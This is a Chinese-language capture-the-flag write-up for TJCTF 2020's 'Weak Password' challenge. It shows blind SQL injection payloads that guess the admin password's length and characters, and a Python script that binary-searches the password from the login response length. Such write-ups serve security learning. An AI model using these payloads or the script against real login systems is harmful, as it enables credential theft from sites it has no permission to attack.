Contents

[Writeup] TJCTF 2020 - Weak Password (Blind SQL injection)

Writeups 搬自 MacacaHub TJCTF 2020 Writeups

這題雖然叫 Weak Password ,但我當時遇到真的戳不出來呢 ; w ;

最後賽後隊友提點才知道原來是 Blind SQL injection ,平常我只拿' or 1=1 -- 戳戳根本是小兒科ww

Description

It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this site. He’s told me that his username is admin, and that his password is made of up only lowercase letters and numbers. (Wrap the password with tjctf{…})

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/01.png?raw=true

Solution

標題同樣為 Weak Password ,T 貓盃只有 admin:admin ,這裡反而沒有這麼簡單XD

從題目給定 usernameadmin,以及從原始碼可以看到 SQL 語法以及一些欄位資訊,我們可以猜到這題要用 Blind SQL injection ,一些基本的猜法可以參考此篇,當然也可以從網頁把 password 每個字元慢慢猜出來,但身為未來工程屍… 還是寫個Code吧 : )

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/02.png?raw=true

How to Guess ?

透過SQL injection並利用登入結果判斷是否成功,想辦法從username撈出我們想要的資訊。

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/03.png?raw=true https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/04.png?raw=true

例如,猜password長度:

admin' and length(password) > 13 -- –> success
admin' and length(password) > 14 -- –> fail
admin' and length(password) = 14 -- –> success

可以猜到password長度為14。


又例如,猜password第一個字元:

admin' and unicode(substr(password, 1)) > unicode('a') -- –> success
admin' and unicode(substr(password, 1)) > unicode('b') -- –> fail
admin' and unicode(substr(password, 1)) = unicode('b') -- –> success

可以猜到password第一個字元為b


再來就是寫Code了,可以搭配 Binary search 加速搜尋,然後利用回傳的 request 長度判斷結果是否成功。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string

# Send request and get result
def inject(n, opr, char):
    url = 'https://weak_password.tjctf.org/login'
    payload = {"username": "admin' and unicode(substr(password, {})) \\
    {} unicode('{}')-- ".format(n, opr,char), "password": "123"}
    r = requests.post(url, data=payload)
    return True if len(r.text)==1842 else False #1842:success

res = ""
li = list(string.digits + string.ascii_lowercase)
for i in range(1, 20):
    
    l = 0
    r = len(li) - 1

    # end up binary search if it can't checkout any character
    if inject(i, '>', li[0]) == False:
        print('password: ' + res)
        break

    while l <= r:
        mid = (l + (r + 1)) // 2
        #print(l, r, mid)
        if inject(i, '=', li[mid]):
            res = res + li[mid]
            break
        elif inject(i, '>', li[mid]):
            l = mid
        elif inject(i, '<', li[mid]):
            r = mid
        else:
            break
    print(res)

Result

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/05.png?raw=true